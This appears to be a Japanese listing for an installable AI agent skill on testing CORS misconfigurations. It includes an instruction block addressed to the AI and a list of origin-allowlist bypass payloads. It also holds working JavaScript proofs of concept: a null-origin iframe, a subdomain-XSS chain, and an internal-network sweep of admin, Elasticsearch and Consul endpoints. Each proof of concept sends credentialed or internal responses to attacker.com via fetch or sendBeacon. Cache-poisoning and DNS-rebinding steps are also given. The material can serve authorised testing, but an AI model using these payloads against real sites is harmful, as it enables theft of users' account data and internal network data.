cors-cross-origin-misconfiguration について
ブラウザー経由で認証済み API の応答を読み取られる CORS 設定ミスを調べるセキュリティスキルです。オリジンの反射、許可リスト、認証情報、キャッシュなどの確認に重点を置きます。
主な機能
- 01オリジン反射と弱い許可リストの確認
- 02認証情報付きリクエストと null オリジンのテスト
- 03プリフライトと内部 API の公開確認
- 04Vary: Origin に関するキャッシュリスクの解説
- 05サブドメインと正規表現の回避パターン
活用シーン
- 01認証済み API の CORS 設定評価
- 02オリジン許可リストの回避テスト
- 03Origin に応じたキャッシュ応答の確認
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill cors-cross-origin-misconfigurationインストール後、Claude Code で/cors-cross-origin-misconfigurationを入力して読み込まれたか確認します。
同梱ファイルSCENARIOS.md
詳細
スキル:CORS の設定ミス — クレデンシャル付きオリジン、反射、信頼境界のエラー
AI LOAD INSTRUCTION:ブラウザーから認証済み API にクロスオリジンでアクセスできる場合に、このスキルを使用してください。オリジンの反射、クレデンシャル付きリクエスト、ワイルドカードによる信頼、パーサーの誤り、オリジン許可リストのバイパスに注目してください。JSONP ハイジャックの詳細、同一オリジンポリシーの内部動作、ハニーポットによる匿名性の解除、CORS と JSONP の比較については、関連する SCENARIOS.md を読み込んでください。
拡張シナリオ
次の内容が必要な場合は、SCENARIOS.md も読み込んでください。
- JSONP ハイジャックの完全な攻撃シナリオ — 水飲み場型攻撃と
<script>によるクロスオリジンデータ窃取 - JSONP によるハニーポット経由の匿名性解除 — ソーシャルプラットフォームの JSONP エンドポイントを使って匿名の訪問者を特定する
- 同一オリジンポリシーの詳細 — プロトコル/ホスト名/ポートの定義、
document.domainによるサブドメインの緩和とそのセキュリティリスク - CORS と JSONP の技術的な比較 — メソッド、エラー処理、クレデンシャルの挙動、移行経路
- CORS 悪用ペイロード —
credentials: includeを伴うオリジン反射、サンドボックス化された iframe 経由の null オリジン - デュアルサイト攻撃ラボのパターン — localhost:8981(標的)+ localhost:8982(攻撃者)のテスト環境
1. このスキルを読み込むタイミング
次の場合に読み込みます。
- レスポンスに
Access-Control-Allow-Origin、Access-Control-Allow-Credentials、またはプリフライトヘッダーが含まれている - ブラウザーベースの攻撃経路から、認証済み API のレスポンスを読み取れる可能性がある
- JSON エンドポイントは CSRF 対策済みに見えるが、クロスオリジンで読み取り可能である
2. 重要度の高い設定ミスの確認項目
| テーマ | 確認事項 |
|---|---|
| クレデンシャル付きワイルドカード | Access-Control-Allow-Origin: * とクレデンシャルのサポート、または同等の不適切な挙動 |
| オリジンの反射 | サーバーが任意の Origin をエコーする |
| 弱い許可リスト | サフィックス、プレフィックス、部分文字列、正規表現、大文字小文字混在の照合エラー |
null オリジン | サンドボックス化されたオリジン、ファイルオリジン、またはシリアライズされたオリジンの受け入れ |
| プリフライトの信頼 | 過剰に広いメソッドとヘッダー |
| 内部 API の公開 | 管理者データまたはテナントデータがクロスオリジンで読み取り可能 |
3. 初動のトリアージ
- 細工した
Originヘッダーを送信し、反射を確認します。 - クレデンシャルありとなしでテストします。
- 攻撃者のサブドメインとパーサーのエッジケースを使って、許可リストのバイパスを調べます。
- 読み取り可能なデータが機密情報であれば、アカウントやテナントへの影響につなげます。
4. 関連する調査先
- セッションまたは JSON アクションの悪用:CSRF クロスサイトリクエストフォージェリ
- OAuth トークンの漏えいとコールバックのバインド:OAuth OIDC の設定ミス
- API 認証コンテキスト:API 認証と JWT の悪用
5. NULL オリジンの悪用
Origin: null の送信方法
| コンテキスト | Origin ヘッダーの値 |
|---|---|
サンドボックス化された iframe(<iframe sandbox>) | null |
data: URI スキーム | null |
file: プロトコル(ローカル HTML) | null |
| クロスオリジンのリダイレクトチェーン(一部のブラウザー) | null |
不透明なオリジンからの blob: URL 内のシリアライズされたデータ | null |
悪用
サーバーのオリジン許可リストに null が含まれているか、null を反射する場合:
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
<iframe sandbox="allow-scripts allow-forms" srcdoc="
<script>
fetch('https://target.com/api/user/profile', {credentials: 'include'})
.then(r => r.json())
.then(d => fetch('https://attacker.com/log?data=' + btoa(JSON.stringify(d))));
</script>
"></iframe>
サンドボックス化された iframe が Origin: null を送信 → サーバーが null を反射 → 攻撃者がクレデンシャル付きレスポンスを読み取ります。
6. サブドメイン XSS → CORS バイパスの連鎖
攻撃の流れ
1. Target API at api.target.com allows CORS from *.target.com
2. Find XSS on any subdomain: blog.target.com, dev.target.com, etc.
3. Exploit XSS to make credentialed requests to api.target.com
4. CORS allows the request → attacker reads sensitive API responses
PoC(blog.target.com の XSS 経由で注入)
fetch('https://api.target.com/v1/user/profile', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
navigator.sendBeacon('https://attacker.com/exfil',
JSON.stringify(data));
});
これが機能する理由
blog.target.comはapi.target.comと同一サイトです →SameSiteクッキーが送信されます- CORS 許可リストに
*.target.comが含まれています →Access-Control-Allow-Origin: https://blog.target.com - 組み合わせると、SameSite のバイパスと CORS 経由の読み取りにより、任意のサブドメイン上の XSS から API に完全にアクセスできます
この連鎖を調査する
□ Enumerate subdomains (amass, subfinder, crt.sh)
□ Test each for XSS (stored, reflected, DOM)
□ Check if API CORS accepts subdomain origins
□ Subdomain takeover candidates also qualify
7. VARY: ORIGIN キャッシュの問題
問題
サーバーが Access-Control-Allow-Origin で Origin を反射する一方、レスポンスに Vary: Origin を含めない場合、中間キャッシュ(CDN、リバースプロキシ)が同じキャッシュ済みレスポンスを異なるオリジンに提供する可能性があります。
1. Attacker requests: Origin: https://attacker.com
Response cached with: Access-Control-Allow-Origin: https://attacker.com
2. Victim requests same URL (no Origin or different Origin)
Cache serves response with: Access-Control-Allow-Origin: https://attacker.com
→ Victim's browser allows attacker.com to read the response (CORS cache poisoning)
検出
# Request 1: with attacker origin
curl -H "Origin: https://evil.com" https://target.com/api/data -I
# Request 2: with legitimate origin
curl -H "Origin: https://target.com" https://target.com/api/data -I
# Compare: if both responses have Access-Control-Allow-Origin: https://evil.com
# → cache poisoned, Vary: Origin is missing
エクスプロイト
1. Warm the cache: send request with Origin: https://attacker.com
2. Wait for victim to access the same cached URL
3. Cached ACAO header allows attacker.com to read the response
4. Attacker page fetches the URL → reads cached response with credentials
修正の検証
□ Response includes Vary: Origin
□ Cache key includes the Origin header
□ Alternatively: Access-Control-Allow-Origin is not reflected (hardcoded allowlist)
8. 正規表現のバイパスパターン
オリジン検証でよく見られる脆弱な正規表現パターン:
| 意図したパターン | 欠陥 | バイパスするオリジン |
|---|---|---|
^https?://.*\.target\.com$ | .* は - を含む任意の文字列に一致します | https://attacker-target.com |
^https?://.*target\.com$ | サブドメインの後にアンカーがありません | https://nottarget.com、https://attacker.com/.target.com |
target\.com(部分一致) | アンカーがありません | https://attacker.com?target.com |
^https?://(.*\.)?target\.com$ | ポートの制限がありません | https://target.com.attacker.com:443 |
^https://[a-z]+\.target\.com$ | パスの終端アンカーがありません | 該当なし(ただし、- や数字を含むサブドメインには一致しません) |
| バックトラッキングに脆弱な正規表現 | ReDoS | https://aaaa...aaa.target.com(CPU 枯渇) |
オリジン検証をバイパスするテストペイロード
https://attacker.com/.target.com
https://target.com.attacker.com
https://attackertarget.com
https://target.com%60attacker.com
https://target.com%[email protected]
https://attacker.com#.target.com
https://attacker.com?.target.com
null
応用:Unicode 正規化のバイパス
https://target.com → https://ⓣarget.com (Unicode homoglyph)
一部のオリジンバリデーターは比較後に Unicode を正規化しますが、ブラウザーは元の値を送信します。またはその逆です。
9. 内部ネットワークの CORS エクスプロイト
シナリオ
内部専用 API(例:http://192.168.1.100:8080/admin)が次のように設定されています:
Access-Control-Allow-Origin: *
内部 API では、「内部ユーザーしかアクセスできない」という理由で、ワイルドカード CORS がよく使われます。
攻撃チェーン
1. Attacker sends victim (internal employee) a link to attacker.com
2. Attacker page JavaScript fetches internal API:
fetch('http://192.168.1.100:8080/admin/users')
3. CORS allows * → response readable
4. Exfiltrate internal data to attacker server
// On attacker.com — target internal API from victim's browser
const internalAPIs = [
'http://192.168.1.1/admin/config',
'http://10.0.0.1:8080/api/users',
'http://172.16.0.1:9200/_cat/indices', // Elasticsearch
'http://localhost:8500/v1/agent/members', // Consul
];
internalAPIs.forEach(url => {
fetch(url)
.then(r => r.text())
.then(data => {
navigator.sendBeacon('https://attacker.com/exfil',
JSON.stringify({url, data}));
})
.catch(() => {});
});
CORS のタイミングを利用したポートスキャン
Access-Control-Allow-Origin: * がなくても、攻撃者は内部サービスが利用可能かどうかを推測できます:
- ポートが開いている:接続確立 → CORS エラー(タイミングが異なります)
- ポートが閉じている:接続拒否 → 速いエラー
- ホストがダウンしている:タイムアウト → 遅いエラー
DNS リバインディングとの組み合わせ
1. Attacker controls attacker.com with short TTL (e.g., 0 or 1)
2. First DNS resolution: attacker.com → attacker's IP (serves malicious JS)
3. Second DNS resolution: attacker.com → 192.168.1.100 (internal IP)
4. JavaScript on the page fetches attacker.com/admin → now hits internal server
5. Same-origin policy satisfied (same domain) → response readable